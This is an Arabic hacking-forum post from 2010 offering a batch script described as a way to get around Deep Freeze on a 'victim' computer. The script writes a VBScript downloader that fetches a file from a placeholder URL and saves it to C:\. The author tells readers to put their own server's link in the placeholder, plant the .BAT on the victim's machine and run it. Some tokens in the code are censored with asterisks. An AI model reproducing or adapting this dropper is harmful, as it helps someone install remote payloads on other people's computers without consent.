كود تفادي الديب فريز الضحية Deep Freeze }

**Mr.BLaCK-CodE** الثلاثاء أبريل 27, 2010 9:46 pm

][بسم الله الرحمن الرحيم][
السلام عليكم و رحمة الله و بركاته
||تفادي الديب فريز||
أنسخ هذا الكود وضعها في المفكرة
-------------------------------------------------------------------------------------------------------------------------------------------------
@echo off
set file="patch url"
set dlto="C:\"
::----------------

if exist %temp%\dl.vbs del /q %temp%\dl.vbs
echo HTTPDownload %file%,%dlto% >> %temp%\dl.vbs
echo Sub HTTPDownload( myURL, myPath ) >> %temp%\dl.vbs
echo Dim i, objFile, objFSO, objHTTP, strFile, strMsg >> %temp%\dl.vbs
echo Const ForReading = 1, ForWriting = 2, ForAppending = 8 >> %temp%\dl.vbs
echo Set objFSO = CreateObject( "Scripting.FileSystemObject" ) >> %temp%\dl.vbs
echo If objFSO.FolderExists( myPath ) Then >> %temp%\dl.vbs
echo strFile = objFSO.BuildPath( myPath, Mid( myURL, InStrRev( myURL, "/" ) + 1 ) ) >> %temp%\dl.vbs
echo ElseIf objFSO.FolderExists( Left( myPath, InStrRev( myPath, "\" ) - 1 ) ) Then >> %temp%\dl.vbs
echo strFile = myPath >> %temp%\dl.vbs

echo Else >> %temp%\dl.vbs
echo Exit Sub >> %temp%\dl.vbs
echo End If >> %temp%\dl.vbs
echo Set objFile = objFSO.Open****File( strFile, ForWriting, True ) >> %temp%\dl.vbs
echo Set objHTTP = CreateObject( "WinHttp.WinHttpRequest.5.1" ) >> %temp%\dl.vbs
echo objHTTP.Open "GET", myURL, False >> %temp%\dl.vbs
echo objHTTP.Send >> %temp%\dl.vbs
echo For i = 1 To LenB( objHTTP.Response**** ) >> %temp%\dl.vbs
echo objFile.Write Chr( AscB( MidB( objHTTP.Response****, i, 1 ) ) ) >> %temp%\dl.vbs
echo Next >> %temp%\dl.vbs
echo objFile.Close( ) >> %temp%\dl.vbs
echo End Sub >> %temp%\dl.vbs

start %temp%\dl.vbs

------------------------------------------------------------------------------------------------------------------------------------------------

بعد ماتلصق هذاء الكود في المفكرة بدل كلمة patch url برأبط سيرفرك
المباشر واحفظها باسم بأمتداد BAT بعدين نزلها بجهاز الضحية وسو لها تشغيل
ومبروك عليك الضحية

ارجو منكم التقيم ان شاء الله